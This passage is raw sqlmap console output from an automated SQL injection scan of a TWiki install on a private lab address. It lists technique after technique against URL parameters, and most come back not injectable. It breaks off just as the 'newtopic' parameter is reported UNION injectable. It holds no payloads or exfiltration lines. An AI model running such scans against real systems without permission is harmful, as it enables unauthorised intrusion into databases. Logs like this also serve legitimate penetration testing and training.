(DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:00:36] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:00:37] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:00:37] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:00:38] [INFO] testing 'Oracle AND time-based blind' [20:00:38] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:00:41] [INFO] target URL appears to be UNION injectable with 10 columns [20:00:41] [WARNING] applying generic concatenation with double pipes ('||') injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y [20:00:45] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') [20:00:50] [INFO] testing 'MySQL UNION query (11) - 1 to 10 columns' [20:00:59] [WARNING] GET parameter 'param2' is not injectable [20:00:59] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 155: GET http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiForms?t=1441457582 do you want to test this URL? [Y/n/q] Y [20:00:59] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiForms?t=1441457582' [20:00:59] [INFO] testing connection to the target URL [20:00:59] [INFO] testing if the target URL is stable [20:01:00] [INFO] target URL is stable [20:01:00] [INFO] testing if GET parameter 't' is dynamic [20:01:00] [WARNING] GET parameter 't' does not appear dynamic [20:01:00] [WARNING] heuristic (basic) test shows that GET parameter 't' might not be injectable [20:01:01] [INFO] testing for SQL injection on GET parameter 't' [20:01:01] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:01:02] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:01:02] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:01:03] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:01:03] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:01:04] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:01:04] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:01:04] [INFO] testing 'MySQL inline queries' [20:01:04] [INFO] testing 'PostgreSQL inline queries' [20:01:04] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:01:05] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:01:05] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:01:05] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:01:06] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:01:06] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:01:07] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:01:07] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:01:08] [INFO] testing 'Oracle AND time-based blind' [20:01:08] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:01:08] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:01:14] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:01:20] [WARNING] GET parameter 't' is not injectable [20:01:20] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 156: GET http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=TWiki Forms[^A-Za-z] do you want to test this URL? [Y/n/q] Y [20:01:20] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=TWiki Forms[^A-Za-z]' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [20:01:20] [INFO] testing connection to the target URL [20:01:21] [INFO] testing if the target URL is stable [20:01:21] [INFO] target URL is stable [20:01:21] [INFO] testing if URI parameter '#1' is dynamic [20:01:21] [INFO] confirming that URI parameter '#1*' is dynamic [20:01:21] [INFO] URI parameter '#1*' is dynamic [20:01:22] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [20:01:22] [INFO] testing for SQL injection on URI parameter '#1*' [20:01:22] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:01:22] [WARNING] reflective value(s) found and filtering out [20:01:24] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:01:24] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:01:24] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:01:25] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:01:25] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:01:26] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:01:26] [INFO] testing 'MySQL inline queries' [20:01:26] [INFO] testing 'PostgreSQL inline queries' [20:01:26] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:01:26] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:01:27] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:01:27] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:01:28] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:01:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:01:29] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:01:29] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:01:30] [INFO] testing 'Oracle AND time-based blind' [20:01:30] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:01:30] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:01:36] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:01:41] [WARNING] URI parameter '#1*' is not injectable [20:01:41] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 157: GET http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiForms?skin=print do you want to test this URL? [Y/n/q] Y [20:01:41] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiForms?skin=print' [20:01:41] [INFO] testing connection to the target URL [20:01:41] [INFO] testing if the target URL is stable [20:01:42] [INFO] target URL is stable [20:01:42] [INFO] testing if GET parameter 'skin' is dynamic [20:01:42] [INFO] confirming that GET parameter 'skin' is dynamic [20:01:42] [INFO] GET parameter 'skin' is dynamic [20:01:43] [INFO] heuristics detected web page charset 'ascii' [20:01:43] [WARNING] heuristic (basic) test shows that GET parameter 'skin' might not be injectable [20:01:43] [INFO] testing for SQL injection on GET parameter 'skin' [20:01:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:01:43] [WARNING] reflective value(s) found and filtering out [20:01:44] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:01:44] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:01:45] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:01:46] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:01:46] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:01:47] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:01:47] [INFO] testing 'MySQL inline queries' [20:01:47] [INFO] testing 'PostgreSQL inline queries' [20:01:47] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:01:47] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:01:48] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:01:48] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:01:49] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:01:49] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:01:50] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:01:50] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:01:51] [INFO] testing 'Oracle AND time-based blind' [20:01:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:01:52] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:01:58] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:02:05] [WARNING] GET parameter 'skin' is not injectable [20:02:05] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 158: GET http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiForms?rev1=1.17&rev2=1.16 do you want to test this URL? [Y/n/q] Y [20:02:05] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiForms?rev1=1.17&rev2=1.16' [20:02:05] [INFO] testing connection to the target URL [20:02:05] [INFO] testing if the target URL is stable [20:02:06] [INFO] target URL is stable [20:02:06] [INFO] testing if GET parameter 'rev1' is dynamic [20:02:06] [WARNING] GET parameter 'rev1' does not appear dynamic [20:02:06] [WARNING] heuristic (basic) test shows that GET parameter 'rev1' might not be injectable [20:02:07] [INFO] heuristic (XSS) test shows that GET parameter 'rev1' might be vulnerable to XSS attacks [20:02:07] [INFO] testing for SQL injection on GET parameter 'rev1' [20:02:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:02:07] [WARNING] reflective value(s) found and filtering out [20:02:08] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:02:08] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:02:09] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:02:09] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:02:10] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:02:10] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:02:10] [INFO] testing 'MySQL inline queries' [20:02:10] [INFO] testing 'PostgreSQL inline queries' [20:02:11] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:02:11] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:02:11] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:02:12] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:02:12] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:02:13] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:02:13] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:02:14] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:02:14] [INFO] testing 'Oracle AND time-based blind' [20:02:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:02:15] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:02:21] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:02:27] [WARNING] GET parameter 'rev1' is not injectable [20:02:27] [INFO] testing if GET parameter 'rev2' is dynamic [20:02:27] [INFO] confirming that GET parameter 'rev2' is dynamic [20:02:27] [INFO] GET parameter 'rev2' is dynamic [20:02:27] [WARNING] heuristic (basic) test shows that GET parameter 'rev2' might not be injectable [20:02:27] [INFO] heuristic (XSS) test shows that GET parameter 'rev2' might be vulnerable to XSS attacks [20:02:27] [INFO] testing for SQL injection on GET parameter 'rev2' [20:02:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:02:29] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:02:30] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:02:30] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:02:31] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:02:32] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:02:32] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:02:33] [INFO] testing 'MySQL inline queries' [20:02:33] [INFO] testing 'PostgreSQL inline queries' [20:02:34] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:02:34] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:02:35] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:02:35] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:02:36] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:02:36] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:02:37] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:02:37] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:02:38] [INFO] testing 'Oracle AND time-based blind' [20:02:38] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:02:45] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:02:51] [WARNING] GET parameter 'rev2' is not injectable [20:02:51] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 159: GET http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiForms?rev=1.16 do you want to test this URL? [Y/n/q] Y [20:02:51] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiForms?rev=1.16' [20:02:51] [INFO] testing connection to the target URL [20:02:52] [INFO] testing if the target URL is stable [20:02:53] [INFO] target URL is stable [20:02:53] [INFO] testing if GET parameter 'rev' is dynamic [20:02:53] [WARNING] GET parameter 'rev' does not appear dynamic [20:02:53] [WARNING] heuristic (basic) test shows that GET parameter 'rev' might not be injectable [20:02:53] [INFO] heuristic (XSS) test shows that GET parameter 'rev' might be vulnerable to XSS attacks [20:02:53] [INFO] testing for SQL injection on GET parameter 'rev' [20:02:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:02:53] [WARNING] reflective value(s) found and filtering out [20:02:55] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:02:55] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:02:55] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:02:56] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:02:57] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:02:57] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:02:57] [INFO] testing 'MySQL inline queries' [20:02:57] [INFO] testing 'PostgreSQL inline queries' [20:02:58] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:02:58] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:02:58] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:02:59] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:02:59] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:02:59] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:03:00] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:03:01] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:03:01] [INFO] testing 'Oracle AND time-based blind' [20:03:02] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:03:02] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:03:09] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:03:16] [WARNING] GET parameter 'rev' is not injectable [20:03:16] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [20:03:16] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiForms?rev1=1.16&rev2=1.15' [20:03:16] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiForms?rev=1.15' URL 160: GET http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiForms?template=oopsmore¶m1=1.17¶m2=1.17 do you want to test this URL? [Y/n/q] Y [20:03:16] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiForms?template=oopsmore¶m1=1.17¶m2=1.17' [20:03:16] [INFO] testing connection to the target URL [20:03:16] [INFO] testing if the target URL is stable [20:03:17] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [20:03:17] [INFO] testing if GET parameter 'template' is dynamic [20:03:17] [INFO] confirming that GET parameter 'template' is dynamic [20:03:17] [INFO] GET parameter 'template' is dynamic [20:03:17] [WARNING] heuristic (basic) test shows that GET parameter 'template' might not be injectable [20:03:17] [INFO] heuristic (XSS) test shows that GET parameter 'template' might be vulnerable to XSS attacks [20:03:17] [INFO] testing for SQL injection on GET parameter 'template' [20:03:17] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:03:17] [INFO] heuristics detected web page charset 'ascii' [20:03:17] [WARNING] reflective value(s) found and filtering out [20:03:18] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:03:18] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:03:19] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:03:19] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:03:20] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:03:20] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:03:20] [INFO] testing 'MySQL inline queries' [20:03:20] [INFO] testing 'PostgreSQL inline queries' [20:03:20] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:03:20] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:03:21] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:03:21] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:03:22] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:03:22] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:03:22] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:03:23] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:03:23] [INFO] testing 'Oracle AND time-based blind' [20:03:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:03:24] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:03:28] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:03:33] [WARNING] GET parameter 'template' is not injectable [20:03:33] [INFO] testing if GET parameter 'param1' is dynamic [20:03:33] [WARNING] GET parameter 'param1' does not appear dynamic [20:03:33] [WARNING] heuristic (basic) test shows that GET parameter 'param1' might not be injectable [20:03:33] [INFO] heuristic (XSS) test shows that GET parameter 'param1' might be vulnerable to XSS attacks [20:03:33] [INFO] testing for SQL injection on GET parameter 'param1' [20:03:33] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:03:35] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:03:35] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:03:36] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:03:36] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:03:37] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:03:38] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:03:38] [INFO] testing 'MySQL inline queries' [20:03:38] [INFO] testing 'PostgreSQL inline queries' [20:03:38] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:03:38] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:03:39] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:03:39] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:03:40] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:03:40] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:03:41] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:03:41] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:03:42] [INFO] testing 'Oracle AND time-based blind' [20:03:42] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:03:49] [INFO] target URL appears to be UNION injectable with 10 columns [20:03:49] [WARNING] applying generic concatenation with double pipes ('||') injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y [20:03:53] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') [20:03:54] [INFO] testing 'MySQL UNION query (88) - 1 to 10 columns' [20:04:02] [WARNING] GET parameter 'param1' is not injectable [20:04:02] [INFO] testing if GET parameter 'param2' is dynamic [20:04:02] [WARNING] GET parameter 'param2' does not appear dynamic [20:04:02] [WARNING] heuristic (basic) test shows that GET parameter 'param2' might not be injectable [20:04:02] [INFO] testing for SQL injection on GET parameter 'param2' [20:04:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:04:04] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:04:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:04:04] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:04:05] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:04:06] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:04:06] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:04:07] [INFO] testing 'MySQL inline queries' [20:04:07] [INFO] testing 'PostgreSQL inline queries' [20:04:07] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:04:07] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:04:08] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:04:08] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:04:09] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:04:09] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:04:10] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:04:10] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:04:11] [INFO] testing 'Oracle AND time-based blind' [20:04:11] [INFO] testing 'Generic UNION query (88) - 1 to 10 columns' [20:04:19] [INFO] testing 'MySQL UNION query (88) - 1 to 10 columns' [20:04:27] [WARNING] GET parameter 'param2' is not injectable [20:04:27] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 161: GET http://192.168.1.113:80/twiki/bin/rename/TWiki/TWikiForms?newweb=TWiki&newtopic=TWikiFormTemplate&confirm=on do you want to test this URL? [Y/n/q] Y [20:04:27] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/rename/TWiki/TWikiForms?newweb=TWiki&newtopic=TWikiFormTemplate&confirm=on' [20:04:27] [INFO] testing connection to the target URL sqlmap got a 302 redirect to 'http://192.168.1.113/twiki/bin/oops/TWiki/TWikiFormTemplate'. Do you want to follow? [Y/n] Y [20:04:27] [INFO] testing if the target URL is stable [20:04:28] [WARNING] GET parameter 'newweb' does not appear dynamic [20:04:28] [INFO] heuristics detected web page charset 'ascii' [20:04:28] [WARNING] heuristic (basic) test shows that GET parameter 'newweb' might not be injectable [20:04:28] [INFO] testing for SQL injection on GET parameter 'newweb' [20:04:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:04:28] [WARNING] reflective value(s) found and filtering out [20:04:30] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:04:30] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:04:31] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:04:32] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:04:32] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:04:33] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:04:33] [INFO] testing 'MySQL inline queries' [20:04:34] [INFO] testing 'PostgreSQL inline queries' [20:04:34] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:04:34] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:04:35] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:04:35] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:04:36] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:04:36] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:04:37] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:04:38] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:04:39] [INFO] testing 'Oracle AND time-based blind' [20:04:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:04:40] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:04:48] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:04:56] [WARNING] GET parameter 'newweb' is not injectable [20:04:56] [WARNING] GET parameter 'newtopic' does not appear dynamic [20:04:56] [WARNING] heuristic (basic) test shows that GET parameter 'newtopic' might not be injectable [20:04:56] [INFO] testing for SQL injection on GET parameter 'newtopic' [20:04:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:04:58] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:04:59] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:05:00] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:05:01] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:05:02] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:05:03] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:05:03] [INFO] testing 'MySQL inline queries' [20:05:03] [INFO] testing 'PostgreSQL inline queries' [20:05:04] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:05:04] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:05:05] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:05:06] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:05:06] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:05:07] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:05:08] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:05:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:05:10] [INFO] testing 'Oracle AND time-based blind' [20:05:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:05:13] [INFO] target URL appears to be UNION injectable with 10 columns [20:05:13] [WARNING] applying generic concatenation with double pipes ('||') [20:05:14] [INFO] GET parameter 'newtopic' is 'Generic UNION query (NULL) - 1 